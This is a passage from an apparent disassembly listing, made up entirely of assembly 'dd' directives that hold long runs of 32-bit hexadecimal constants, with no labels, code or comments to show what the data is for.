dd 3B6080DCh, 63A3DDFFh, 9DF8BAC2h, 6710AC94h, 6104CFFDh
dd 0E8346B32h, 0C4428134h, 108BA950h, 0D04C18A6h, 7BE83CA3h
dd 740944E9h, 50600114h, 44B15AE0h, 0FD13578h, 0D40FF75Eh
dd 0A7DFC07Ch, 19476A4h, 0A5FE2767h, 28E6C485h, 2B3F0F38h
dd 0F4041CD3h, 0F092CD6Ah, 97C100D9h, 89267712h, 82000835h
dd 63A91457h, 61FFF0CBh, 17231181h, 947880EBh, 0FC569B80h
dd 9F95FAEh, 283092FCh, 0CD27010Dh, 0C6AC6275h, 7F7D01B8h
dd 0C1B224AEh, 4265E11Dh, 84B89208h, 0FC9C70D5h, 1CCC2AA5h
dd 4CEC0106h, 0DC0C1E50h, 23DF0C1Ah, 249EB710h, 2331BE4h
dd 0ACB8F4h, 615FA5BBh, 0BF95C446h, 20C5088Eh, 0FAA498B3h
dd 0E4453C09h, 6DD498D3h, 4150046h, 239716BFh, 0D9C00E3Ch
dd 1DA86478h, 526900C4h, 0F317DA8Bh, 933D6F24h, 0A46C850Bh
dd 1CC22A41h, 80B70492h, 70DCAF3Ch, 10240A59h, 2624C0A7h
dd 41183C72h, 0D7510D9h, 4509F096h, 233068D5h, 0C8A4EBh
dd 0B83CF890h, 0A4B31FAFh, 6223E4F1h, 976D2440h, 4D61DC90h
dd 6C28C426h, 3B0C3F80h, 0B8D55F71h, 387E4E0h, 0F2A72590h
dd 99DBC4B8h, 4E6D2802h, 0C89ED023h, 177A7C60h, 135667h
dd 0DAACBC98h, 0EA5BC4A6h, 10BF8003h, 0A1EEC1B5h, 1392E84Ch
dd 4719C56h, 19A1E0Ch, 0AD0158B9h, 0E084043Fh, 7C71003Fh
dd 2516B878h, 0FCE090D9h, 5890C3AEh, 0A240D317h, 0DBC42A03h
dd 103002BFh, 9DD42399h
dd 7664C8A0h, 0A809C6A1h, 0EA98BF93h, 0CFFC70F0h, 0DA85C320h
dd 415285C7h, 0E24ED420h, 2A04FD0Ch, 0DF7560C2h, 9DBB4000h
dd 64F9A0C9h, 9A0409F0h, 0E9FC6D06h, 840294F9h, 0A1E64D30h
dd 0C070786Ah, 0C4320804h, 94ECD62Bh, 84B4D100h, 1A033F1Bh
dd 0C3E60404h, 54C1DF0Dh, 1078B286h, 0E410948Bh, 47240188h
dd 4E9900Ah, 30F29780h, 5722F91Ch, 0E4453D5h, 0E642212Ch
dd 0E4797E97h, 24DE0A17h, 2D44082Ch, 0C4B9B4E0h, 18C22930h
dd 3041E68h, 4F6017C5h, 27CB163Fh, 0CADA6683h, 67417C7Eh
dd 0D02F735Ch, 0CE02C72Ch, 40EA2325h, 0D19464h, 0BF688FDBh
dd 6B9CB325h, 0CBC7AE04h, 9CF4CA4Dh, 1EBC2023h, 0C8B1044Eh
dd 39AC060h, 7EB82FDAh, 82951C6Eh, 28D57A58h, 6820CC84h
dd 376CB700h, 6C8653Fh, 871B0169h, 1CC405A5h, 0E0343083h
dd 1D8BC45h, 90475991h, 0B75D007Eh, 0FBFD3FB3h, 8D07CE3Ch
dd 0EBF51D6Ah, 60C0D1F4h, 0C62381h, 7239619Dh, 6895FC3Fh
dd 77F8627Eh, 78919B64h, 2A88D4B8h, 86CBD11h, 9C019BA0h
dd 3AFBE3F0h, 0B424F3C4h, 74829D0Eh, 0F444ED45h, 0BB3B2176h
dd 51DE02C3h, 0F92BF002h, 0F2B4A85Ch, 2467806Bh, 710BD6E2h
dd 5BBF039Bh, 186786F0h, 8004107Ch, 88BC12AAh, 5933BD80h
dd 0B713014Ah, 677824C1h, 3CEC6C96h, 4C64C86Ch, 256C4264h
dd 4074C469h, 4B05B0Ah, 0F0C5B74Eh, 0C643810h, 38E2D7C4h
dd 40ACFC17h, 6873DA36h, 9CC9251Dh, 982BE7Eh, 0D22A2916h
dd 0A9490038h, 0E7E30B9Eh, 1A58AFABh, 36A50048h, 0C34BD889h
dd 4E6900B8h, 73FB82F9h, 212881Ch, 30B3B5F8h, 7EACC482h
dd 0CEBB7C74h, 3531C020h, 0F52013BFh, 0D024E1ABh, 5D13A4BDh
dd 84C84D6Ah, 98FCB865h, 0C0944E44h, 0A932FC8h, 212E71F4h
dd 0B8129CEAh, 717C8314h, 26455540h, 6184D0A6h, 51D762C4h
dd 230FCD8h, 264C796Ah, 98B39678h, 20FF2ED0h, 970E8FCCh
dd 8F6810A6h, 0F9CF8E15h, 3D08DCF1h, 9E902A17h, 0E4051812h
dd 0F4F4BF9Ch, 0CED42D22h, 352DC420h, 139C394h, 0E4BE2561h
dd 2FA4E47Ch, 249B6A58h, 12D081F4h, 2011B217h, 74C01252h
dd 0C9097FADh, 86C6A6CEh, 9811A9B4h, 4A8988Ch, 8DC456F9h
dd 41C0886Fh, 93BA0D40h, 0F6529230h, 76C862A4h, 0A3AB0085h
dd 0ED2F30C1h, 5FECC8C5h, 3F2603CCh, 0BA761C7Ch, 7FFC75A1h
dd 11041C21h, 0A8C0069h, 19485BD0h, 0E458275Ch, 0ED8D2248h
dd 5A31CC20h, 0A9BC91F4h, 42230020h, 7348C0EDh, 5B42BAEh
dd 15297464h, 0D70A0h, 79D7553Bh, 59DD38FBh, 0DE0CE100h
dd 7214C0AEh, 90181DA6h, 9F80840Dh, 80FCF8FFh, 67DD9939h
dd 0C43C01EEh, 79A497D8h, 64316EB1h, 3024520Eh, 0FEBF0B8Fh
dd 0A6091615h, 0EF2094A0h, 9100037Fh, 84D7809Ch, 9FBEB67h
dd 0ED58DC39h, 87A8D0A1h, 2F04217Bh, 239D9000h, 99E9261Eh
dd 80404964h, 45800B15h, 0F4F55C5Bh, 886B0214h, 0D284805Dh
dd 26021FAFh, 0A9DF2C4h, 96C107B2h, 2E3ED0F0h, 5B03F3A3h
dd 0E50102DDh, 63303F17h, 5F3814BCh, 0F3CE59E0h, 593F1972h
dd 0D7043A9Fh, 66DC00E4h, 67E55BE1h, 20899D3Ah, 16F8E608h
dd 0C24A2B9h, 8993BBC4h, 6FB61219h, 1BCC8830h, 0E5397712h
dd 219CCD2h, 0F07A805Fh, 0BB00F4B8h, 1E91AD94h, 41306705h
dd 3C913058h, 0C4584661h, 3870F998h, 7C9A80BFh, 3842ED4Fh
dd 0E15BD823h, 7C307448h, 3EE3001Ah, 0D78EA227h, 0C41A41C0h
dd 0D6987CA4h, 0C4545ABCh, 6700B771h, 10C0B23Ch, 0F8F72193h
dd 0FD2327AAh, 693F8480h, 0CC90B20Fh, 922393Ch, 89B61B47h
dd 0D1D8A15Bh, 0C6F72337h, 89389460h, 800451Ah, 8D2FE66Eh
dd 93F31116h, 0E84D9800h, 1AF5860h, 76A4B513h, 82057002h
dd 45ED5BA0h, 0B064C4DDh, 0CB8F0034h, 283F66ACh, 213E4C78h
dd 41C20788h, 67A1E384h, 0C080A1A5h, 137446B9h, 0F076D79Dh
dd 0B815DA30h, 3D776A1Ah, 34B401E4h, 0C528A868h, 0E020ED41h
dd 91075423h, 1498B998h, 58C41011h, 7064C09Dh, 0E20C0728h
dd 102568ABh, 9DB515AEh, 22EA6301h, 747867F0h, 0E501D879h
dd 0C47557D9h, 0C096B23h, 202450AFh, 0B898E149h, 26675A00h
dd 0F0D3DAC7h, 0C900447h, 0D05D0270h, 0AB8EBC24h, 0C448F206h
dd 4E48F89Eh, 166C5208h, 60687740h, 9462356Ah, 2C9925Ch
dd 3BE61B2Dh, 9060C9D2h, 0EE003428h, 0D4BFAA0Ch, 772EA1FBh
dd 0E52594CAh, 0DA6B02CCh, 58561767h, 0D4039305h, 0A67678F0h
dd 44E54F14h, 0EBA1E84h, 2794013Fh, 3220BF53h, 8AE60DDFh
dd 8068675Dh, 45E4BD38h, 2C5F9551h, 0BA7CB07h, 70E08FC4h
dd 0D1093337h, 0DEB9C361h, 4191128Ch, 0C4C190B4h, 0F05EC684h
dd 6EB04541h, 718F7828h, 8090253Dh, 0B53C25h, 4F80D820h
dd 98FE814h, 0EB65DCB2h, 7C1FD0DEh, 502874A4h, 8E8830E9h
dd 70B295h, 2B30D8A0h, 8A090439h, 81FA7AD9h, 0FF0CC688h
dd 28614800h, 0F0AF3FDEh, 0D86C07B8h, 4010E331h, 0AE071B69h
dd 0B08244D7h, 0A054C2C2h, 94A7A310h, 0E9E41F83h, 0FBF70C34h
dd 2F030D18h, 0A396068Bh, 7FB5E7BEh, 0FED54D2h, 1FF9CA4Ch
dd 10440348h, 9801596Ch, 2A9E75DCh, 0B03890B4h, 0B6FFBF09h
dd 0A4BC60C0h, 0C4EE5E27h, 432208Ch, 0A56B9D28h, 68B48A1Fh
dd 15BE99C0h, 0BC530123h, 917B0CF8h, 0B65DB2C0h, 5ABE1094h
dd 0B0629C27h, 0F4917850h, 72488E25h, 60892613h, 51182B2Fh
dd 0C41000ECh, 51D4A4CDh, 781C0280h, 0F131F02h, 0EC5EDCE0h
dd 0BF0EDD0Dh, 477033FBh, 3490C055h, 0B77824BAh, 0B736C00h
dd 0F9C08E35h, 6B13C78Bh, 13ECB160h, 0F80C01EAh, 24AD7EC4h
dd 0D9000E68h, 0BA2A04Bh, 4D75C8h, 1BFDFD1h, 285A4B7h
dd 7092935Ah, 880C560Ah, 2800650Eh, 0F6DB26Ch, 209D7C3Dh
dd 161EE309h, 4F1E2461h, 258493A2h, 0F567E411h, 0D644286Dh
dd 1509B0E2h, 18413976h, 4090494Ch, 9E676E10h, 0BE02848h
dd 4395D95h, 0D4087874h, 405AB316h, 72E442B1h, 6D01126Ch
dd 0E454239Dh, 330058BEh, 0DE89AEEAh, 0C00BA5h, 0CFA7095h
dd 9B9A2E3Fh, 5A12EFE4h, 640713C2h, 3B20872h, 0C4F0DEBFh
dd 0A034C7h, 90052D3Dh, 0DCD864A3h, 6498A9E3h, 0CB070BEBh
dd 2FC5739Bh, 49940162h, 0F06003A0h, 550E3780h, 3C14E911h
dd 0A0CC114Ah, 6081241Ch, 610F042Ch, 0BC38842Bh, 9075E728h
dd 3001E8A0h, 0BC1854A6h, 6364BAC4h, 10AD1230h, 1B807196h
dd 745C7F08h, 4AD94C8Bh, 9C3068CCh, 4570BE12h, 20E4B523h
dd 52F689E0h, 2529DA00h, 0D2083F1Ah, 8E723E65h, 88114512h
dd 0E612D9B0h, 7A03A6C3h, 0E0516A61h, 7BCFCEB4h, 41E15FC4h
dd 0A45B2E8h, 0B0A2D2C2h, 83C16ABCh, 14B0A65Ch, 87F2000h
dd 4B3B458Eh, 305889A0h, 681748E4h, 1401D8B9h, 8F0C7FEEh
dd 77B63840h, 0C41B0860h, 7F0058E0h, 860C8801h, 9DAE7D81h
dd 69EA7C9Bh, 9021442Ah, 0C8F48F13h, 0DA414033h, 2F17F107h
dd 6B1C489h, 0F435D619h, 6980326Ah, 602DB859h, 609C2334h
dd 660C10FBh, 0C412BF96h, 0F0B57E67h, 0A2E6FC03h, 67479A2h
dd 1057A767h, 33D12F01h, 0EA11B1C0h, 2081D3Eh, 1CD99BFDh
dd 8F65F490h, 0EF15D06h, 809015E9h, 5F239308h, 2812B0h
dd 0FA855F3Ch, 123BC505h, 0E0EA2776h, 826E0A70h, 0D428F856h
dd 9D80DCB3h, 0F467C003h, 3010C961h, 16DE5498h, 44C36B5Bh
dd 95B90586h, 0F166EF23h
dd 46D9FC20h, 9DF08401h, 0BCC6C4BAh, 306658A5h, 0A4F12317h
dd 0AC4C0CE3h, 0B343228h, 0E76AC4BBh, 6400F8DAh, 8B955604h
dd 7BE910CDh, 0C1A60044h, 801779F4h, 10972978h, 5F239B2Ch
dd 72BC00B6h, 648A010Ch, 8B6780h, 4A579F3h, 58DEEE8Eh
dd 0B67FEF1Eh, 66029602h, 20B444B1h, 0A59DA162h, 4F814D8h
dd 394A0D7h, 467BA17h, 0BC977040h, 24B72D95h, 443558h
dd 0ED66DC8Dh, 0BD00C54Bh, 4863C3E5h, 5FA8F9Eh, 0C4B1EA06h
dd 0E38D086h, 4A6B4E01h, 0A4341080h, 3CF5597Ah, 3E5A4D10h
dd 7926F223h, 65AD140Ch, 358F9230h, 9D4A84Ch, 506BAAD6h
dd 0BC209DC8h, 0E153239Ch, 0E77AC4A8h, 3EF42200h, 2D6AAD0Ah
dd 0DA0C047Dh, 0EC4401F7h, 0AFA43C98h, 0BCF890E4h, 28D50291h
dd 72672130h, 4E428C44h, 0C9649A12h, 98F41028h, 0FC14BCD4h
dd 490AC87h, 750F23E7h, 620C2082h, 20A45548h, 3D34E07Dh
dd 235410C1h, 28AE9190h, 0C4031F94h, 0B8A82667h, 58109678h
dd 20D84B84h, 2CAA58A2h, 95612D3h, 3C501088h, 44C27F2Fh
dd 0C401970Ch, 772D610Dh, 0A4C75BC0h, 0C2F46607h, 0C10683h
dd 3EE91938h, 6A9D0F25h, 0E7238809h, 7C4CC04Fh, 0FD5D00C6h
dd 73416271h, 222FEFA7h, 3FA000C7h, 60D00116h, 0E00BB0ADh
dd 0B50F9B75h, 0A2DA6FAh, 660608C8h, 88AA4Fh, 828F898Ah
dd 0A834A48Bh, 9F7C25F1h, 0BB018619h, 39D467B9h, 0BB9EAC60h
dd 0F1C60B60h, 11C7B800h, 0A36B9923h, 16605318h, 2734160Dh
dd 0B9CD2280h, 6C9EB300h, 83961FCh, 0DD25262Ah, 7CBD6019h
dd 0C30AF400h, 1C488F1Fh, 0F11D5EBFh, 8709E23Ch, 0DA205224h
dd 294BBE3h, 56F8495h, 705E9267h, 731FB900h, 0F84B380Eh
dd 8C910778h, 802B3EC7h, 0B5F8AE74h, 0A72C6B1Fh, 8A14EA00h
dd 4E48DBCh, 0A6732568h, 18588627h, 659DB407h, 3E82646Eh
dd 7DCC8028h, 28BBE7Fh, 0C4BD9A51h, 2055AFA4h, 0F8944DF8h
dd 0CE540461h, 0C03CFC95h, 0CFB97AACh, 20AE80A0h, 81BF24B1h
dd 915F0D3Bh, 68FE1F23h, 17C7134h, 800B6D70h, 0EDB20869h
dd 0AEA860B7h, 18D4C924h, 272E6C09h, 8B02C8A4h, 2BC807Bh
dd 0E3D96723h, 40347C30h, 0A07CFE55h, 600DED35h, 670218F3h
dd 0C5392127h, 6A00D4D9h, 295DDAE6h, 65012D14h, 0CE5B2060h
dd 40FB1000h, 1207619Ch, 0EA792E21h, 9C462FD8h, 6092BD4Ah
dd 0A65CD472h, 0A1361300h, 10D82C3Ch, 290776D9h, 0A5091B27h
dd 5F00ECF2h, 6481A834h, 1980038Eh, 497BF5DFh, 0FD00BF86h
dd 6A931CB9h, 78094627h, 0A8C42533h, 0CA37A480h, 0C10029B3h
dd 13952369h, 79C5BFEh, 38C53F67h, 211BC00Fh, 8D605CF0h
dd 319F4C18h, 0BA10410h, 0AFE5C6CCh, 231E8002h, 3C897521h
dd 1641AC54h, 22F27B8Ah, 0B20993ACh, 0C2F4FE7Ch, 0E8FA2FC1h
dd 48F89620h, 0A2008C0Ah, 1F4762A9h, 70604A23h, 7E376C48h
dd 0C3FAF874h, 479DD2A8h, 0BDF0C1C5h, 0FBFEF0C0h, 0B2B83A67h
dd 1DCE9B0h, 0CCAF5E86h, 575923A0h, 162107A4h, 592458C4h
dd 996418EBh, 0DC7E676Bh, 0E260CCA1h, 37C003h, 0FE29710h
dd 1DB5FE46h, 238F8B0Bh, 7724F81Ch, 0B020064h, 0D04EABDCh
dd 0D206776h, 5FB0C182h, 857D1F9Eh, 84756DA0h, 0DF43B800h
dd 14634BD3h, 94925EC4h, 21801505h, 8230B874h, 1ADC001h
dd 30453FB0h, 0B46982E8h, 0F000D878h, 0C8029573h, 2077306Fh
dd 92BD99F4h, 0C2A800E3h, 0D6203F40h, 0DF09ED70h, 0FDBA3Bh
dd 0B1466CCh, 97A405FAh, 902F9102h, 0EEFC9E70h, 0A4C16D5Bh
dd 8B00B66Eh, 27023FC3h, 817F599Bh, 3624C905h, 23BEC65h
dd 514180ACh, 6112E846h, 74C8202Ch, 607641C7h, 0FA405F24h
dd 0D5C25E0Ah, 4298F1B0h, 80EA02C3h, 96B3D440h, 161ED73Eh
dd 2CA27116h, 0C1C58C16h, 389CD0h, 27C47C3Ch, 0A412A67Bh
dd 0B0B0B05Ch, 3A82035h, 97C2E8C5h, 0C78CA941h, 0CF0BF014h
dd 635CCB3Ah, 0F2C50084h, 23E44842h, 0E80F2FD3h, 9913D0CCh
dd 0EC62BC03h, 68E90D0Bh, 2F347820h, 48A11078h, 403C67E4h
dd 5F4F3396h, 8B04E7A8h, 0E4B545D5h, 0E10F670Ch, 0C7599DC2h
dd 8FA9876h, 0D012C404h, 0F6D668FCh, 61185014h, 3312324Eh
dd 494C4C8h, 0FCC073E7h, 2420B80Eh, 0DC049817h, 30ADED67h
dd 3001603Eh, 34578C5h, 0D82460A2h, 2654AB00h, 9C85757Fh
dd 502F005Bh, 0EE6D445Eh, 530F9A66h, 639A4BFh, 1F1031F6h
dd 1FCFA0A6h, 37760F8Eh, 4F8F7B04h, 0CDC0986h, 789C100Ch
dd 659201D6h, 1C71B480h, 0BEC507C6h, 0E3C40C20h, 1D8E033Eh
dd 0A272284Dh, 37384858h, 0EBC04896h, 0C06E796Ch, 76210758h
dd 23E829D2h, 61F5058h, 9E276CF3h, 0C4BA0020h, 0D61A5B18h
dd 9135701Bh, 6000181Dh, 9D97A576h, 235F0354h, 0D1B743EFh
dd 1AF5200Fh, 8033090Bh, 0A15F4D08h, 0FC961801h, 3E6C700Ah
dd 0DB486B60h, 3BB78A0Dh, 0CB820C84h, 981B0159h, 9C348Eh
dd 1C86F9ECh, 71033162h, 74AF076h, 51D4A929h, 63209048h
dd 5EEAE198h, 1EFB7122h, 0A2B3FFh, 38A4C037h, 454696Dh
dd 0DB4044C0h, 54F630C4h, 628A0F40h, 0CC955100h, 857B7827h
dd 5FC401B7h, 231D8DD2h, 41944458h, 6E4375B0h, 0D4B0876Bh
dd 0EC95194Bh, 0DE44D801h, 0E0E333AEh, 19F082Bh, 491C3E30h
dd 9428456Dh, 18CC0F80h, 0C1A14D54h, 51D5E6A4h, 57CC6C50h
dd 9133058h, 12DC0CC8h, 0D72D3D03h, 0C0B48B7Bh, 0A5D4A42h
dd 2C7843E5h, 56EC05B8h, 80D45025h, 202DCC09h, 6CE70010h
dd 2169D030h, 7EB7619h, 0ECB05284h, 0E0AC8A06h, 75A7559Ch
dd 6CBF6805h, 0E805F933h, 0E404111Ah, 0D009E3Dh, 0AC4F80DFh
dd 22F15100h, 0A8430162h, 0D590C73Bh, 0E9BC0027h, 583C047Eh
dd 0C408D005h, 98248030h, 1E82AEC2h, 4DFEB00Eh, 0CC6870CCh
dd 9A03B20Fh, 6F6CECB6h, 4C8050CFh, 0E56B407Dh, 0A8BB0731h
dd 0C4528E58h, 9E608752h, 3D2537A0h, 50DF71h, 45075810h
dd 30C0434Ch, 6D724023h, 0E265020Ah, 6968A36h, 84008C4Ah
dd 0D58DAD7Eh, 39E3D3F7h, 0F1C2F7E7h, 8089C443h, 212AD270h
dd 30722015h, 96082379h, 8DFF0B61h, 280C8666h, 92CF807Bh
dd 4D0EE848h, 2050D4EFh, 9C829196h, 0E2890E3Fh, 2521CC33h
dd 84549778h, 667B6CD1h, 903FBA04h, 7CC6C440h, 0CAB480A0h
dd 0D0018924h, 70718EAh, 26645B9h, 0C38DEE9h, 50113FE1h
dd 0DFB780h, 0D4F36E1Bh, 12976B4Ch, 4FECC374h, 42737103h
dd 0F1D5255Eh, 0C1E43554h, 1C9407D1h, 0F90CB99h, 2070E783h
dd 0C3F8578Bh, 8D081625h, 3F4F221Ch, 78CF59Eh, 83366A19h
dd 20003772h, 6EB5789Ah, 0D4EAE6h, 0B8184DFDh, 53685E9Bh
dd 6BDF9E00h, 529912E5h, 710C00E9h, 318EBEF5h, 0E67C16Ch
dd 75000618h, 0C018C96Bh, 9DA1B310h, 2C3CA536h, 0C31A728Dh
dd 80704730h, 995A68E8h, 5C907482h, 9818747Dh, 226D28A1h
dd 0DD0B760Ch, 391C1095h, 0F8E1E842h, 0DC9226D4h, 0C318575Ch
dd 7A200F5Dh, 0DBB91E59h, 8724C640h, 0A31E3878h, 980C367Dh
dd 40A110D8h, 0B540A595h, 0B94A009Ch, 0FAF2E164h, 8CA0D98Ch
dd 33B2558h, 14100793h, 20060D4h, 143A172Bh, 0B8C3D242h
dd 0F0D53450h, 105B606Bh, 1A751B53h, 0FA2F6D00h, 44BBF3B7h
dd 93DA05E5h, 4274C74h, 3EC0FC0h, 0A818DC1h, 479D6B38h
dd 0DF0C0A98h, 0CE41F78h, 0BA181BE8h, 7A82770Bh, 0F9C8808Fh
dd 285D5B4h, 226FB636h
dd 1CA10B78h, 0D290981Ah, 75081200h, 0C7070C9h, 3B1B6BE3h
dd 307C0418h, 9C33A000h, 6CB28137h, 65070409h, 80C9B3DAh
dd 2ECBE724h, 0F74A4418h, 400142B0h, 0B4B8FF0Dh, 34E0B58h
dd 636C58A3h, 90581DA5h, 1F42A20h, 0D51959A8h, 432AD3ECh
dd 0B80C090Ch, 108F3024h, 6321016Ch, 0C9F1DD04h, 9718C080h
dd 0FECE903Eh, 38B4A433h, 0FCB00922h, 0D3819BCAh, 0D6CED3B3h
dd 6E1A1240h, 0D6A578A0h, 0CAFC8355h, 893902h, 5EC05A9Bh
dd 6BA1B805h, 844049BAh, 6856242Ch, 596207E3h, 80505E47h
dd 3370EABEh, 6B80F00h, 127CBE1h, 348B16F0h, 0EBF824h
dd 4008E8C1h, 12DD8F7h, 0EB67AAEFh, 0C36619E9h, 12053187h
dd 0D001DC68h, 73636DF8h, 0B858B318h, 0E2FFD763h, 78BEE59h
dd 8957240Ch, 2BC8D3E7h, 65D283Ch, 0CB015AD1h, 6353FC23h
dd 0E6D01C2Ch, 86F358B9h, 61E86844h, 14890018h, 0BD555024h
dd 42E834DEh, 4EDC100h, 3EC7F581h, 0E91C0DAEh, 0ED30120Ah
dd 0A70FBECh, 4740F7F6h, 0C210E0BBh, 1C8BDD51h, 0C6E97A84h
dd 5E3C7410h, 0FBFF7C8Fh, 832966F9h, 0F0E99C0Eh, 5D220ED6h
dd 99B4C601h, 6F64F263h, 5A545405h, 3C10C281h, 0C0878C06h
dd 0E959195Ch, 883349CCh, 3D8AA0FDh, 0B3683206h, 0FA33B70Fh
dd 0B75028DFh, 9E5F4805h, 0C88F10Ch, 40C1F857h, 60DF3305h
dd 1099828Ch, 7FBD0FBFh, 0CE464F7Ah, 30601422h, 88505370h
dd 33517DCCh, 747B85EFh, 0FD9986EDh, 79655C7Eh, 0A50C83A7h
dd 0A8B81889h, 18BC36Eh, 552C9B6Bh, 50230FE9h, 95AD5ACh
dd 0AC1C6F33h, 19477C56h, 24BF243Ch, 0F821C020h, 0D5148B68h
dd 0C90989C5h, 4C010654h, 0C1313B12h, 0E355E99h, 0F2CE702Dh
dd 285A4E48h, 5E7D0705h, 0F379870Fh, 0E9D8A16Ah, 7880E8FBh
dd 13BAB951h, 0C10F14A4h, 0E18106E1h, 3D2A60E2h, 3153D0DBh
dd 6C7CA5h, 56D9CBF1h, 59CF0143h, 32E95E3Bh, 8E837A5Ah
dd 455F4F80h, 824A6998h, 0CC6DF0C7h, 822A38F8h, 28826CA9h
dd 9B491D2Ch, 0B0AECA5Dh, 351B55CFh, 54D7F7E1h, 0B39B0807h
dd 794349BFh, 12D5B235h, 7EBDA621h, 11280505h, 4CA246Bh
dd 81895648h, 5EC85A5h, 0A10DF05Eh, 888AA113h, 60E9C481h
dd 710A50EEh, 83464212h, 45E97106h, 1C8724D1h, 91A18C0Ch
dd 259258D1h, 0F5EDE2E4h, 6C41FF2Dh, 837A9ACEh, 2FF29029h
dd 0F720CED9h, 0C4498Ah, 0E0F190D3h, 591FCB29h, 35798951h
dd 0CD4133CEh, 6181BF5Bh, 283159F8h, 1EBC5EF7h, 3C97481Fh
dd 37CAFAA8h, 9C5CDBB4h, 639233D8h, 66F9F600h, 0E9CCB60Fh
dd 3554D86h, 61632C24h, 20977DEFh, 9098FB1Ch, 6542900Eh
dd 22F7C933h, 0A5D8AAAh, 4CD41298h, 996281C9h, 4F767114h
dd 3C0AB5A7h, 501C9C65h, 0D51A41A6h, 19398008h, 7651D927h
dd 12016083h, 4E244AE5h, 5A3A2D0Eh, 0C8298543h, 81F8F84h
dd 58312E42h, 81BA6865h, 0CCAE827Dh, 172E06Dh, 59C8013Fh
dd 19B21A2h, 21E8290Eh, 524ED132h, 716421D0h, 3BE17F69h
dd 0EC58B59Fh, 5067FA46h, 4887B9E6h, 50CC252Ch, 1BAB0584h
dd 0A003AFBh, 4706EFC1h, 1494F781h, 0BC436AF8h, 1F1A8D40h
dd 94FB2919h, 5F3708EBh, 0B486DB0Eh, 0AB246A55h, 68C14220h
dd 1833121Fh, 0CF869850h, 0C3DD5210h, 5A79B830h, 64FB54E1h
dd 0B45B624h, 0ABD8C30h, 2F904307h, 810300BEh, 0DFF554EDh
dd 90011028h, 8F071BAAh, 8A6B5768h, 0EDE986B5h, 86A054D3h
dd 4482731Dh, 0C95CDE92h, 0ABAA5E50h, 64F09CBAh, 5F5489DEh
dd 65F11BB3h, 0E0935374h, 706005D9h, 5BFA767Ch, 88049792h
dd 0C63059E8h, 5051B980h, 0E91709B4h, 91A557EEh, 0D64980EAh
dd 0F9A4148Bh, 7080DB93h, 53D1367h, 0DF7200D7h, 1E88330h
dd 5E02BF57h, 31665386h, 0B9B783F8h, 2D783CD8h, 187F0974h
dd 0F002C589h, 0B800DD51h, 1F5E6F96h, 79C70154h, 0A881EF9Ch
dd 3C555C0Bh, 1E301807h, 0EEC09F43h, 79777C24h, 9F0CC6ECh
dd 0C600651h, 159F4B5h, 5EF58938h, 0C55DEF29h, 3302D083h
dd 316C8998h, 33E90D06h, 8784F9B0h, 4D289F5h, 580332B4h
dd 8A4B83AAh, 62B9BB53h, 9909322Dh, 0F0249475h, 30F87709h
dd 0BE0E641Ch, 0D93050D0h, 0F3BC06Ah, 1757617h, 640597F6h
dd 0D9E9565Dh, 2490B9DEh, 0DD88A20Ch, 173020D2h, 60E28952h
dd 1B796806h, 0AED34792h, 0F46CC504h, 0BFC1BD90h, 72FE0E44h
dd 0CF4DF931h, 87123008h, 0B9B30F1h, 3E1A6808h, 15831301h
dd 34488EFBh, 0B06F442Ah, 25FC592Eh, 69027879h, 0F00C9F8Eh
dd 0CA833436h, 0EA81005Ah, 383B35AEh, 95CA02CEh, 0C34FEF54h
dd 3AD693B3h, 873CF708h, 52AEE917h, 807C6099h, 78CBDBCDh
dd 68DC9816h, 31851FDFh, 5442573Eh, 0C910AD97h, 2014202Dh
dd 13BD872h, 847899D9h, 6B33BA28h, 0B6407257h, 861AC378h
dd 693C0ECh, 8C8E2ED1h, 66CC38Bh, 0F8038126h, 0CDB93740h
dd 0F5000F4Ah, 0F71D0601h, 0A94B51DBh, 810C01E3h, 0D56408E3h
dd 1FAF6269h, 0DAC4F6FCh, 0FADD1C8Bh, 0D931C264h, 0E28B0D06h
dd 0A44D578Ah, 45597CBh, 0A757C572h, 87095556h, 0FF5BF294h
dd 0B9F3E02Fh, 986A9374h, 323D05F2h, 0C3410BA7h, 35A7088Dh
dd 0BFF34A53h, 0D57C6596h, 31638358h, 0FFBD06B4h, 1B014C03h
dd 6DCCF841h, 21511472h, 0C84452D0h, 9AFEB270h, 0BAB7F0AAh
dd 4D53587Ch, 9D35944h, 5BDF015Ah, 617BCB08h, 332C9468h
dd 0E50073BDh, 32CDB850h, 0FE2D2F5Eh, 0FAF1649h, 0A46C05F7h
dd 0B9DF2715h, 0C940E73Ah, 5C908DC0h, 1F2D6816h, 21E98130h
dd 65DAD3D1h, 98E38483h, 3AB857B8h, 0CEB015B2h, 0A3459720h
dd 62446BBh, 0E4CCE909h, 6847214h, 2F56E910h, 32D8BF00h
dd 0E78173F4h, 0E43DE108h, 4AB5026Fh, 81C044E2h, 0EF3E4769h
dd 0E576731Eh, 15E0F02h, 0C8335FFDh, 0C0186F1Fh, 0D2F6EE67h
dd 892EA71Ch, 539DE1F1h, 0F564E397h, 91C80624h, 0FF4C5129h
dd 52743745h, 22A6E481h, 20026442h, 0EA885266h, 0D3E8DDE4h
dd 0CB523F1h, 20D5F602h, 0E95080EEh, 38683334h, 47820785h
dd 5F9387F2h, 5E823035h, 0EBF607D0h, 0EF19306h, 31C23366h
dd 8B0DCF06h, 2D1E2C17h, 0B2EC05A3h, 1A1FC64Dh, 0F2ACB2EFh
dd 2C95962Fh, 92FF21E0h, 0CF7E04F1h, 1D611282h, 2725C330h
dd 61483146h, 0D366B302h, 0F8E5343Ch, 94FECF52h, 0A02227Dh
dd 575AD701h, 995F1352h, 0A209D21Dh, 0C9BCE9C5h, 0EF205D3Ch
dd 1E5E250h, 5BDA2145h, 4007EAC1h, 942A4A3h, 882E2C90h
dd 89B95EEFh, 7363D4Ch, 0E63CD1B3h, 947A036Ah, 6EEC125h
dd 0B241654Ah, 10F73E9Eh, 1E097D20h, 1646A65Fh, 12216DFh
dd 0D87F7EE2h, 0CDB765E4h, 5FB424FEh, 0E6817393h, 558C1EA4h
dd 54C30C84h, 10DB069h, 7873B09Ch, 0D5A2C49h, 80D59DA9h
dd 0D3F3C581h, 8904ECDFh, 3ADE9EAh, 20C2DD2h, 88024CC9h
dd 0E5C8C1C5h, 1F89FA98h, 56816784h, 1808BE83h, 56096C01h
dd 7DF4051h, 28B8DCE5h, 0D1785D4Eh, 4CFEF644h, 0DA420FC9h
dd 311A3348h, 0BF0963E1h, 637B8300h, 0EAB06E28h, 8143E72Ah
dd 0EF72ED54h, 6813C8BAh, 3D5925BCh, 9734F6A0h, 40240C1h
dd 5A84C754h, 9AC4A8ACh, 0C101E209h, 0E44E07E6h, 5E815510h
dd 60371422h, 0CEB8E39Dh, 2A100A58h, 68048A2Dh, 725212D5h
